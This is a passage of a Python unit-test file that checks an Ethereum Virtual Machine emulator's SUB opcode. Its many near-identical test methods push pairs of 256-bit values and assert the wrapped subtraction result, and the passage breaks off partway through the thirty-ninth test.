def test_SUB_1(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [0])
def test_SUB_2(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
new_vm._push(0)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [1])
def test_SUB_3(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
new_vm._push(1)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [2])
def test_SUB_4(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819953])
def test_SUB_5(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301264])
def test_SUB_6(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
new_vm._push(16)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [17])
def test_SUB_7(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
new_vm._push(32)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [33])
def test_SUB_8(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
new_vm._push(48)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [49])
def test_SUB_9(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
new_vm._push(6089590155545428825848686802984512581899718912)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718913])
def test_SUB_10(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(0)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935])
def test_SUB_11(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(0)
new_vm._push(0)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [0])
def test_SUB_12(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(0)
new_vm._push(1)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [1])
def test_SUB_13(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(0)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952])
def test_SUB_14(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(0)
new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263])
def test_SUB_15(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(0)
new_vm._push(16)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [16])
def test_SUB_16(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(0)
new_vm._push(32)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [32])
def test_SUB_17(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(0)
new_vm._push(48)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [48])
def test_SUB_18(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(0)
new_vm._push(6089590155545428825848686802984512581899718912)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912])
def test_SUB_19(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(1)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639934])
def test_SUB_20(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(1)
new_vm._push(0)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935])
def test_SUB_21(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(1)
new_vm._push(1)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [0])
def test_SUB_22(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(1)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819951])
def test_SUB_23(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(1)
new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301262])
def test_SUB_24(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(1)
new_vm._push(16)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [15])
def test_SUB_25(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(1)
new_vm._push(32)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [31])
def test_SUB_26(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(1)
new_vm._push(48)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [47])
def test_SUB_27(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(1)
new_vm._push(6089590155545428825848686802984512581899718912)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718911])
def test_SUB_28(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819983])
def test_SUB_29(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952)
new_vm._push(0)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819984])
def test_SUB_30(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952)
new_vm._push(1)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819985])
def test_SUB_31(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [0])
def test_SUB_32(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952)
new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [61514547407324228818772085785865451047049679353621549645961841504203850121247])
def test_SUB_33(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952)
new_vm._push(16)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564820000])
def test_SUB_34(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952)
new_vm._push(32)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564820016])
def test_SUB_35(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952)
new_vm._push(48)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564820032])
def test_SUB_36(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952)
new_vm._push(6089590155545428825848686802984512581899718912)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [57896044618658097711785492504350043516790537761646130706531776516538464538896])
def test_SUB_37(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [112173586448650064316584391727166410732855297644839296413224534507665844338672])
def test_SUB_38(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263)
new_vm._push(0)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [112173586448650064316584391727166410732855297644839296413224534507665844338673])
def test_SUB_39(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
